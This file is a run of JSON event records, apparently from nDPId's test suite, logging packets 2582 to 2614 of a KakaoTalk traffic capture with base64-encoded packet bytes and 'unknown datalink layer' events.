+00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2582,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00499{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2583,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":791297,"pkt_caplen":143,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":143,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH8AAEAAHRH8+wHJAa4KGFK8WgQsOABrQsiAbDOYfrHmg1Sapdp3mPjHQXcMEa0TnooOdapQBkt7YklnXh\/yNb2zEtPRlkhuFwp17L8SIGB3C8FIY9\/j7u2RS4IdowohddPXifrN6sY\/eHZZGmCDia7b3Q81YvusHgSCxcg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2583,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00602{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2584,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":827582,"pkt_caplen":218,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":218,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMoAAEAAPxHa2AoYUrwByQGuLDhaBAC2J2eAbFEYi0KbWguGVRlaw\/arl9QR6CoMghfQBFVVY8owgJ0hvu89aDxpNPMLHUEoVJJSKy+KIWI\/oDxVdDDB6zhDBV3wf8G4gPJ3\/5VBCjWhaFfr8hEEr6BLoQm+Q9niwpiXUUTTsSaM9W1P5emTsWHp8yVKwdsvhv06ihhPwhjpd6xGYn\/hpnmrSC5wHMqutYn9G3nfWaXVBtsow\/xutDHy\/znQBfWLWdyBs7vvO60="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2584,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00584{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2585,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":827643,"pkt_caplen":205,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":205,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAL0AAEAAHBH9vQHJAa4KGFK8WgYoHACp736AbFETi0KImguGVRlQtZ\/843fYhK2HbZ1jmym1hCw5HXWVEvmm5T6YA0els3DZMS+fIzAaGoJu9Ye+FLbBl86dQZyK8eyuR5gnQ3qC8qyHSuqW7C7M5w\/13RxBDY7GKa6mr7zvbbiK8LeOcWrO9YblUzeMPDANhwts1PJ7uzPLfZzczJDJok14\/\/rbKvRaEVy5ifRiduUdfIn6pvwLallCXg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2585,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2586,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":843268,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/K9CAbDOefrH9A1Sapdqg8n4T1KiBxicD3SORY9nI1awDhRjsNHBNYkDuC8iW6yh+LpC\/MRk81CWH"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2586,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00499{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2587,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":847235,"pkt_caplen":143,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":143,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH8AAEAAHBH9+wHJAa4KGFK8WgQsOABrzpGAbDOZfrHqQ1Sapdq0xHt5Ak2DEB7obGkXKeea9EdNjkgFmzhSEBJ02oGdcFva4JMzxaL7V2NZUT20M6lDUmE+lh106BKYBFMK\/WJTFwzd\/2sn0qHI4vFsW6lFu\/L9IR0dmsg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2587,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00485{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2588,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":859137,"pkt_caplen":135,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":135,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHcAAEAAHRH9AwHJAa4KGFK8WgQsOABj6miAbDOafrHuA1SapdoQckiWCh9YDMkpQfGjfdw6At6F1O4CMyg\/QhGRE8oj9BVWNufBXGvPL4OlDKZcgU0Iuc3rVFoQtxL4JAK3RMLCarz7ji2uqrhju4oCeMST"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2588,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00473{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2589,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":879157,"pkt_caplen":126,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":126,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAG4AAEAAHBH+DAHJAa4KGFK8WgYoHABajVqAbFEUi0KMWguGVRlvDr6E4m8JihHGHjSLAIR3fHnS1fRoQ8a2zbszH\/tG2dJfUP0+SIOSeoxj7vQSRktQUcHf4UUGzqlN6PfVQCOGxdnyA1Eh"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2589,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2590,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":882361,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/3lOAbDOffrIAw1SapdoxyO3fX1j5qt6ONN2lKHV3iJBR0tsGRi7uNrovTY1CUFQ3\/CGG05A5i75D"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2590,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2591,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":895240,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHBH+HQHJAa4KGFK8WgYoHABJVzeAbFEVi0KQGguGVRkK3PYXSaOXyPp3zzMAdKlByOpbmx0YbqsYCtTOTZN4dtRs9Wqp4SkdhDkg5qlwAJUGMd4d7w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2591,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00464{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2592,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":907172,"pkt_caplen":118,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":118,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGYAAEAAHRH9FAHJAa4KGFK8WgQsOABST7+AbDObfrHxw1SapdrnEG0wHGhImckWVo+caYuPReB8fd2G4v8oG5twxcP4g4nL3cDaYluFtFiVRDI5vtHBHf5zIgTPZ80Nm6mypQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2592,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2593,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":911139,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/JwKAbDOcfrH1g1SapdodUmZZ5tSz8rtDOoQjvB7p14B9F5lx2oOai5pHQaO4bnd5kFjKV2DbNdsY"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2593,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00598{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2594,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":929145,"pkt_caplen":213,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":213,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMUAAEAAPxHa3QoYUrwByQGuLDhaBACxzeGAbFEZi0KfGguGVRmA\/HFgAK++\/pZ\/UQPJ7ErH8ro8MHI+bLD30uaCfXtJ7\/QCHML0vywIEKPJ+iHGW7FJ\/JQSA1NZGc+TlHBYBDIa7ox8e1Pq\/a80uI8D5Eb7CSsVoVr0Sc4EsJvgvA68H8\/FWitOWmf6dkjo1V996feJX7t9hDrYYIK12\/3XSpGbl0vhAAbcYmh\/6QVmWJ0Q3+TiV9mXKHzltS5K\/e3s"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2594,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00606{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2595,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":930335,"pkt_caplen":225,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":225,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAANEAAEAAPxHa0QoYUrwByQGuLDhaBAC9Iu2AbFEai0Ki2guGVRnNE2otm000E0TBGopGfgHrnPVu9x+fKxkYlT3X6btUr6F7xGy6czBi8SPFPu661f8c05XG1OjJUnMJEfsaEwPPPRF3zfN5HVbSLv+MkIkMKnhv83KRAkvaCaHKLFR0LT6ghOUHbCLQUMMjLCpMLBkhS499kzib7ZESQ9bgpzuBMzsi3frz96woGWfP\/IbCcF3Dgy2McR\/LOl5qU1ow92x0Not25qxE02IO"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2595,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2596,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":959235,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF4AAEAAHBH+HAHJAa4KGFK8WgYoHABKvaeAbFEWi0KT2guGVRlfCWE+YAj\/ZMCrjeYHyIJB8wxrdszT5fNOoFBsd5PJVXSIiJGyvvMl0NQcRHCWD0vElOBVb5A="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2596,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00522{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2597,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":968543,"pkt_caplen":161,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":161,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJEAAEAAHBH96QHJAa4KGFK8WgYoHAB9YgeAbFEXi0KXmguGVRkkH3IZS48+GZwdy+ApT0ziPGqJ+OpOER+Y0iG\/0\/ET9dXo8USC6+ILBEYSfrLeqyU7cgxF4z0AtvqkN0IqJr7CijKHZRst9TzUAPITZ6LRLgOOtbzHymy73jckeYcEHvcra9a2tBh7GzM="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2597,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2598,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":979224,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/DHmAbDOdfrH5Q1SapdoQHzwW24RXleKbwZbzZ8x1K4k6AJUY3Z1EDfULjXYluGd9idykee71C0qu"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2598,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00439{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2599,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":983771,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/5kKAbDOgfrIEg1SapdqkJdMJcgBZxvJx6x0+zHeW0vFhE\/\/Swe9lsOWBbl\/FaeMAJB9GhQt\/aDf4"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2599,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00601{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2600,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":11725,"pkt_caplen":218,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":218,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMoAAEAAHBH9sAHJAa4KGFK8WgYoHAC2K4GAbFEYi0KbWguGVRlaw\/arl9QR6CoMghfQBFVVY8owgJ0hvu89aDxpNPMLHUEoVJJSKy+KIWI\/oDxVdDDB6zhDBV3wf8G4gPJ3\/5VBCjWhaFfr8hEEr6BLoQm+Q9niwpiXUUTTsSaM9W1P5emTsWHp8yVKwdsvhv06ihhPwhjpd6xGYn\/hpnmrSC5wHMqutYn9G3nfWaXVBtsow\/xutDHy\/znQBfWLWdyBs7vvO60="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2600,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2601,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":21735,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/Yr6AbDOhfrIIQ1SapdrhW8OA+io7qLgntZBULvdBApHv3IIbjWuZdsiNZEkrJVDNxV09Djabt7a8"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2601,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00587{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2602,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":27777,"pkt_caplen":210,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":210,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMIAAEAAPxHa4AoYUrwByQGuLDhaBACuu\/mAbFEbi0KmmguGVRnRHLKq0YRCKGygBV+fkGZlb88sS6fayoPRw4FvOirF\/ulbmvPm8lzVl0O\/sgK+3pZEhNdP1UANf7fOw\/4XMf3JNXJ5j9WM20DdoDoj2pXPR+OVm8nB9+z4Z8K6p6tycCRMRKgKFtULofG7Rk+exrn8upCHqFMsMU162ZOqhhViMP3Y1ksNonTnyxvvjok4EBB0B8JdhkycxwAg"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2602,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00568{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2603,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":29944,"pkt_caplen":196,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":196,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALQAAEAAPxHa7goYUrwByQGuLDhaBACgxj2AbFEci0KqWguGVRn0w5KHoaiel542zSCPNWGuAwD8UIXLbqTAtjeJWcero1Cr7kLqxkvHHJEIW\/tVv0VFMt7mjDxTbRnsUXXvO3xFfWwZQDMaxeweFwnYsPRRjO0MqZvjB5aYhj0fhjif4Co2g6ZnG20GO7mRoXimJhaqsoS2SDONE0oHE4zaQMzoD6zL+xRmHceb4XHiYw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2603,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2604,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":45081,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/J7aAbDOefrH9A1Sapdqg8n4T1KiBxicD3SORY9nI1awDhRjsNHBNYkDuC8iW6yh+LpC\/MRk81CWH"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2604,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2605,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":48529,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/2jmAbDOffrIAw1SapdoxyO3fX1j5qt6ONN2lKHV3iJBR0tsGRi7uNrovTY1CUFQ3\/CGG05A5i75D"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2605,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2606,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":63941,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/55eAbDOifrIMA1SapdoxhpLEFRMbG8rcee5QZ5a6xNqqTFLa\/I5cfn7W7B4avlW9piejp\/v664C0"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2606,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00597{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2607,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":83197,"pkt_caplen":213,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":213,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMUAAEAAHBH9tQHJAa4KGFK8WgYoHACx0fuAbFEZi0KfGguGVRmA\/HFgAK++\/pZ\/UQPJ7ErH8ro8MHI+bLD30uaCfXtJ7\/QCHML0vywIEKPJ+iHGW7FJ\/JQSA1NZGc+TlHBYBDIa7ox8e1Pq\/a80uI8D5Eb7CSsVoVr0Sc4EsJvgvA68H8\/FWitOWmf6dkjo1V996feJX7t9hDrYYIK12\/3XSpGbl0vhAAbcYmh\/6QVmWJ0Q3+TiV9mXKHzltS5K\/e3s"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2607,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00605{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2608,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":87653,"pkt_caplen":225,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":225,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoANEAAEAAHBH9qQHJAa4KGFK8WgYoHAC9JweAbFEai0Ki2guGVRnNE2otm000E0TBGopGfgHrnPVu9x+fKxkYlT3X6btUr6F7xGy6czBi8SPFPu661f8c05XG1OjJUnMJEfsaEwPPPRF3zfN5HVbSLv+MkIkMKnhv83KRAkvaCaHKLFR0LT6ghOUHbCLQUMMjLCpMLBkhS499kzib7ZESQ9bgpzuBMzsi3frz96woGWfP\/IbCcF3Dgy2McR\/LOl5qU1ow92x0Not25qxE02IO"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2608,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00438{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2609,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":99219,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/4iiAbDOgfrIEg1SapdqkJdMJcgBZxvJx6x0+zHeW0vFhE\/\/Swe9lsOWBbl\/FaeMAJB9GhQt\/aDf4"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2609,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00505{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2610,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":127631,"pkt_caplen":148,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":148,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIQAAEAAPxHbHgoYUrwByQGuLDhaBABwj8uAbFEdi0KuGguGVRm4+ZwrLwImLbEMOpGqFTM6Ep0jE2BSSOnCrJbbYqcNxlpPvbau6dQVbgTh4M8XdDYkhDFJhHr4oLq+M2I92t0+lzkiZPF8gEs5WIS4cmnrms\/wo3pP4IlhQb8gzQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2610,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2611,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":161231,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/fXGAbDOjfrIPw1Sapdp7XT2C1f+4XR3ntjkrRepcFm90D+z2OJ6WeMGitScy\/jx6oN2S4l4cnurU"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2611,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2612,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":167151,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/XqSAbDOhfrIIQ1SapdrhW8OA+io7qLgntZBULvdBApHv3IIbjWuZdsiNZEkrJVDNxV09Djabt7a8"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2612,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00587{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2613,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":171179,"pkt_caplen":210,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":210,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMIAAEAAHBH9uAHJAa4KGFK8WgYoHACuwBOAbFEbi0KmmguGVRnRHLKq0YRCKGygBV+fkGZlb88sS6fayoPRw4FvOirF\/ulbmvPm8lzVl0O\/sgK+3pZEhNdP1UANf7fOw\/4XMf3JNXJ5j9WM20DdoDoj2pXPR+OVm8nB9+z4Z8K6p6tycCRMRKgKFtULofG7Rk+exrn8upCHqFMsMU162ZOqhhViMP3Y1ksNonTnyxvvjok4EBB0B8JdhkycxwAg"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2613,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2614,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":196967,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/oYGAbDOkfrITg1SapdqFpXYBdzSPjr4Ekz2ePEG9sIQcr8W7oUc7uA8fXIWkDL0GpK10ptDdY0Z9"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2614,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 